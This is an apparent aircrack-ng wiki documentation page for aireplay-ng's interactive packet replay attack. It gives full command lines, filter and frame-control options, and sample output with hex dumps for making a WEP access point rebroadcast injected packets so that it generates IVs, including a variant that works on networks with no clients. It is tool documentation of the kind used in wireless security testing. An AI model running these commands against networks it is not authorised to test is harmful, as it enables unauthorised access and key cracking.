User Tools

Site Tools


interactive_packet_replay

Interactive packet replay

Description

This attack allows you to choose a specific packet for replaying (injecting). The attack can obtain packets to replay from two sources. The first being a live flow of packets from your wireless card. The second being from a pcap file. Standard Pcap format (Packet CAPture, associated with the libpcap library http://www.tcpdump.org), is recognized by most commercial and open-source traffic capture and analysis tools. Reading from a file is an often overlooked feature of aireplay-ng. This allows you read packets from other capture sessions or quite often, various attacks generate pcap files for easy reuse. A common use of reading a file containing a packet your created with packetforge-ng.

In order to use the interactive packet replay successfully, it it important to understand a bit more about the wireless packet flow. You cannot simply capture and replay any packet. Only certain packets can be replayed successfully. Successfully means that it is accepted by the access point and causes a new initialization vector (IV) to be generated since that is the whole objective.

To do this, we either have to select a packet which naturally will be successful or manipulate a captured packet into a natural one. We will now explore these two concepts in more detail.

First, lets look at what characteristics a packet must have to naturally work. Access points will always repeat packets destined for the broadcast MAC address. This is a MAC address of FF:FF:FF:FF:FF:FF. ARP request packets have this characteristic. As well, the packet must be going from a wireless client to the wired network. This is a packet with the “To DS” (To Distribution System) bit flag set to 1.

So the aireplay-ng filter options we require to select these packets are:

  • -b 00:14:6C:7E:40:80 selects packets with the MAC of the access point we are interested in
  • -d FF:FF:FF:FF:FF:FF selects packets with a broadcast destination
  • -t 1 selects packets with the “To Distribution System” flag set on

See “Natural Packet Replay” below for an example.

Next, we will look at packets which need to be manipulated in order to be successfully replayed by the access point. The objective, as always, is to have the access point rebroadcast the packet you inject and generate a new IV. As simple as it sounds, the only selection criteria you need is the ”-t 1” to select packets going to the distribution system (ethernet):

  • -b 00:14:6C:7E:40:80 selects packets with the MAC of the access point we are interested in
  • -t 1 selects packets with the “To Distribution System” flag set on

We don't care what the destination MAC address is. This because in this case we will modify the packet being injected. The following options will result in the packet looking like a “natural” packet above. Here are the options required:

  • -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client to the access point. IE Set the “To DS” field to 1.
  • -c FF:FF:FF:FF:FF:FF sets the destination MAC address to be a broadcast. This is required to cause the AP to replay the packet and thus getting the new IV.

See “Modified Packet Replay” below for an example.

Usage

aireplay-ng -2 <filter options> <replay options> -r <file name> <replay interface>

Where:

  • -2 means interactive replay attack
  • <filter options> are described here
  • <replay options> are described here
  • -r <file name> used to specify a pcap file to read packets from (this is optional)
  • <replay interface> is the wireless interface such ath0

Usage Examples

Natural Packet Replay

For this example, you do not need do a fake authentication first, since the source MAC address is already associated with the access point. The source MAC address is from the existing wireless client.

Putting it all together:

 aireplay-ng -2 -b 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -t 1 ath0

Where:

  • -2 means interactive replay
  • -b 00:14:6C:7E:40:80 selects packets with the MAC of the access point we are interested in
  • -d FF:FF:FF:FF:FF:FF selects packets with a broadcast destination
  • -t 1 selects packets with the “To Distribution System” flag set on
  • ath0 is the wireless interface

When launched, the program will look as follows:

 Read 4 packets...
 
      Size: 68, FromDS: 0, ToDS: 1 (WEP)
 
           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:0F:B5:34:30:30
 
      0x0000:  0841 de00 0014 6c7e 4080 000f b534 3030  .A....l~@....400
      0x0010:  ffff ffff ffff 4045 d16a c800 6f4f ddef  ......@E.j..oO..
      0x0020:  b488 ad7c 9f2a 64f6 ab04 d363 0efe 4162  ...|.*d....c..Ab
      0x0030:  8ad9 2f74 16bb abcf 232e 97ee 5e45 754d  ../t....#...^EuM
      0x0040:  23e0 883e                                #..>
 Use this packet ? y

Notice that the packet matches our selection criteria. Enter “y” and it starts injecting:

 Saving chosen packet in replay_src-0315-191310.cap
 You should also start airodump-ng to capture replies.
 
 Sent 773 packets...

Modified Packet Replay

For this example, you do not need do a fake authenticaion first, since the source MAC address is already associated with the access point. The source MAC address is from the existing wireless client.

Putting it all together:

 aireplay-ng -2 -b 00:14:6C:7E:40:80 -t 1 -c FF:FF:FF:FF:FF:FF -p 0841 ath0

Where:

  • -2 means interactive replay
  • -b 00:14:6C:7E:40:80 selects packets with the MAC of the access point we are interested in.
  • -t 1 selects packets with the “To Distribution System” flag set on
  • -c FF:FF:FF:FF:FF:FF sets the destination MAC address to be a broadcast. This is required to cause the AP to replay the packet and thus getting the new IV.
  • -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client. IE Set the “To DS” field to 1.
  • ath0 is the wireless interface

The IVs generated per second will vary based on the size of the packet you select. The smaller the packet size, the higher the rate per second. When launched, the program will look as follows:

 Read 10 packets...
 
      Size: 124, FromDS: 0, ToDS: 1 (WEP)
 
           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  00:40:F4:77:E5:C9
      Source MAC  =  00:0F:B5:34:30:30
 
      0x0000:  0841 2c00 0014 6c7e 4080 000f b534 3030  .A,...l~@....400
      0x0010:  0040 f477 e5c9 90c9 3d79 8b00 ce59 2bd7  .@.w....=y...Y+.
      0x0020:  96e7 fadf e0de 2e99 c019 4f85 9508 3bcc  ..........O...;.
      0x0030:  8d18 dbd5 92a7 a711 87d8 58d3 02b3 7be7  ..........X...{.
      0x0040:  8bf1 69c0 c596 3bd1 436a 9598 762c 9d1d  ..i...;.Cj..v,..
      0x0050:  7a57 3f3d e13c dad0 f2d8 0e65 6d66 d913  zW?=.<.....emf..
      0x0060:  9716 84a0 6f9a 0c68 2b20 7f55 ba9a f825  ....o..h+ U...%
      0x0070:  bf22 960a 5c7b 3036 290a 89d6            ."..\{06)...
 
 Use this packet ? y

Enter “y” and the program will continue:

 Saving chosen packet in replay_src-0316-162802.cap
 You should also start airodump-ng to capture replies.
 
 Sent 2966 packets...

Other Examples

You could use it, for example, to have the access point (AP) rebroadcast the packet and thereby generate new initialization vectors (IVs):

 aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82  ath0

Where:

  • -2 means the interactive replay attack
  • -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client. IE Set the “To DS” field to 1.
  • -c FF:FF:FF:FF:FF:FF sets the destination MAC address to be a broadcast. This is required to cause the AP to replay the packet and thus getting the new IV.
  • -b 00:14:6C:7E:40:80 is the MAC address of the access point (BSSID). This is a filter to select a single AP.
  • -h 00:0F:B5:88:AC:82 sets is the MAC address of the packets being transmitted and should match your card's MAC address.
  • ath0 is the wireless interface name.

IMPORTANT: In this example, we set the source MAC address of the packets. This MAC address must be associated with the AP either via fake authentication or an existing wireless client.

The IVs generated per second will vary based on the size of the packet you select. The smaller the packet size, the higher the rate per second. When launched, the program will look as follows:

 Read 99 packets...
 
      Size: 139, FromDS: 1, ToDS: 0 (WEP)
 
           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  01:00:5E:00:00:FB
      Source MAC  =  00:40:F4:77:E5:C9
 
      0x0000:  0842 0000 0100 5e00 00fb 0014 6c7e 4080  .B....^.....l~@.
      0x0010:  0040 f477 e5c9 5065 917f 0000 e053 b683  .@.w..Pe....S..
      0x0020:  fff3 795e 19a3 3313 b62c c9f3 c373 ef3e  ..y^..3..,...s.>
      0x0030:  87a0 751a 7d20 9e6c 59af 4d53 16d8 773c  ..u.} .lY.MS..w<
      0x0040:  af05 1021 8069 bbc8 06ea 59f3 3912 09a9  ...!.i....Y.9...
      0x0050:  c36d 1db5 a51e c627 11d1 d18c 2473 fae9  .m.....'....$s..
      0x0060:  84c0 7afa 8b84 ebbb e4d2 4763 44ae 69ea  ..z.......GcD.i.
      0x0070:  b65b df63 8893 279b 6ecf 1af8 c889 57f3  .[.c..'.n.....W.
      0x0080:  fea7 d663 21a6 3329 28c8 8f              ...c!.3)(..
 
 Use this packet ? 

Responding “y” results in the packets being injected:

 Saving chosen packet in replay_src-0303-103920.cap
 You should also start airodump-ng to capture replies.
 
 Sent 4772 packets...

By also including packet size filters you can easily also use attack 2 to manually replay WEP-encrypted ARP request packets. ARP packets are typically either 68 (from a wireless client) or 86 (from a wired client) bytes:

aireplay-ng -2 -p 0841 -m 68 -n 86 -b 00:14:6C:7E:40:80 -c FF:FF:FF:FF:FF:FF -h 00:0F:B5:88:AC:82 ath0

Where:

  • -2 means the interactive replay attack
  • -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client. IE Set the “To DS” field to 1.
  • -m 68 is the minimum packet length
  • -n 86 is the maximum packet length
  • -c FF:FF:FF:FF:FF:FF sets the destination MAC address to be a broadcast. This is required to cause the AP to replay the packet and thus getting the new IV.
  • -b 00:14:6C:7E:40:80 is the MAC address of the access point (BSSID). This is a filter to select a single AP.
  • -h 00:0F:B5:88:AC:82 sets is the MAC address of the packets being transmitted and should match your card's MAC address.
  • ath0 is the wireless interface name.

IMPORTANT: In this example, we set the source MAC address of the packets. This MAC address must be associated with the AP either via fake authentication or an existing wireless client.

Once you start the program it looks as follows:

 Read 145 packets...
 
      Size: 86, FromDS: 1, ToDS: 0 (WEP)
 
           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:40:F4:77:E5:C9
 
      0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
      0x0010:  0040 f477 e5c9 9075 a09c 0000 d697 eb34  .@.w...u.......4
      0x0020:  e880 9a37 8bda d0e7 fdb4 252d d235 313c  ...7......%-.51<
      0x0030:  16ab 784c 5a45 b147 fba2 fe90 ae26 4c9d  ..xLZE.G.....&L.
      0x0040:  7d77 8b2f 1c70 1d6b 58f7 b3ac 9e7f 7e43  }w./.p.kX....~C
      0x0050:  78ed eeb3 6cc4                           x...l.
 
 Use this packet ? y

At this point, only respond “y” if the packet is 68 or 86 bytes long, otherwise enter “n”. It now injects the packets:

 Saving chosen packet in replay_src-0303-124624.cap
 You should also start airodump-ng to capture replies.

As mentioned earlier, aireplay-ng can be used to replay packets from a pcap file. Notice in the previous example, aireplay-ng wrote a file called “replay_src-0303-124624.cap”. You are not limited to using files written by aireplay-ng, you can use any pcap file from airodump-ng, kismet, etc.

Here is an example using the output from the previous example:

aireplay-ng -2 -p 0841 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 -r replay_src-0303-124624.cap ath0

Where:

  • -2 means the interactive replay attack
  • -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client. IE Set the “To DS” field to 1.
  • -c FF:FF:FF:FF:FF:FF NOTE: This is not included because an ARP packet already has the destination MAC address set to broadcast.
  • -b 00:14:6C:7E:40:80 is the MAC address of the access point (BSSID). This is a filter to select a single AP.
  • -h 00:0F:B5:88:AC:82 sets is the MAC address of the packets being transmitted and should match your card's MAC address.
  • ath0 is the wireless interface name.

IMPORTANT: In this example, we set the source MAC address of the packets. This MAC address must be associated with the AP either via fake authentication or an existing wireless client.

The program responds:

      Size: 86, FromDS: 1, ToDS: 0 (WEP)
 
           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:40:F4:77:E5:C9
 
      0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
      0x0010:  0040 f477 e5c9 9075 a09c 0000 d697 eb34  .@.w...u.......4
      0x0020:  e880 9a37 8bda d0e7 fdb4 252d d235 313c  ...7......%-.51<
      0x0030:  16ab 784c 5a45 b147 fba2 fe90 ae26 4c9d  ..xLZE.G.....&L.
      0x0040:  7d77 8b2f 1c70 1d6b 58f7 b3ac 9e7f 7e43  }w./.p.kX....~C
      0x0050:  78ed eeb3 6cc4                           x...l.
 
 Use this packet ? y

You then say “y” to select the packet. It then starts to inject the packets:

 Saving chosen packet in replay_src-0303-124624.cap
 You should also start airodump-ng to capture replies.
 
 End of file.

Usage Tips

Additional Interactive Application

There are some interesting applications of the first example above. It can be used to attack networks without any connected wireless clients. Start the aireplay-ng attack per the example. Now sit back and wait for any packet to be broadcast. It does not matter what type. Just say “y” and bingo you are generating IVs. The tradeoff is speed, big packets yield lower IVs per second. The major advantages is it saves the steps of obtaining the xor stream (chopchop or fragmentation attacks), building a packet and launching relay attack.

This would also work on APs with clients. It would be faster since you don't have to wait for an ARP, any packet will do.

IMPORTANT: The source MAC address you use must first be associated with the AP via fake authentication.

Injecting Management Frames

You can also inject management and control frames on a per frame basis with aireplay-ng. You just need to specify a matching filter since the default one just allows wep data packets.

Examples:

  • Setting -v 8 -u 0 -w 0 allows you to send beacons frames.
  • Setting -v 12 -u 1 -w 0 -m 10 -n 2000 sets a filter for control frames (in this case clear-to-send frames).

Usage Troubleshooting

The most common problem is that you are not associated with the AP. Either use a source MAC address of a client already associated with the AP or use fake authentication.

Check the I am injecting but the ivs don't increase tutorial.

One situation that may affect interactive replay: Exception of wireless client separation option - http://forum.aircrack-ng.org/index.php?topic=194

Also see the general aireplay-ng troubleshooting ideas: aireplay-ng usage troubleshooting.

interactive_packet_replay.txt · Last modified: 2010/11/21 09:05 by sleek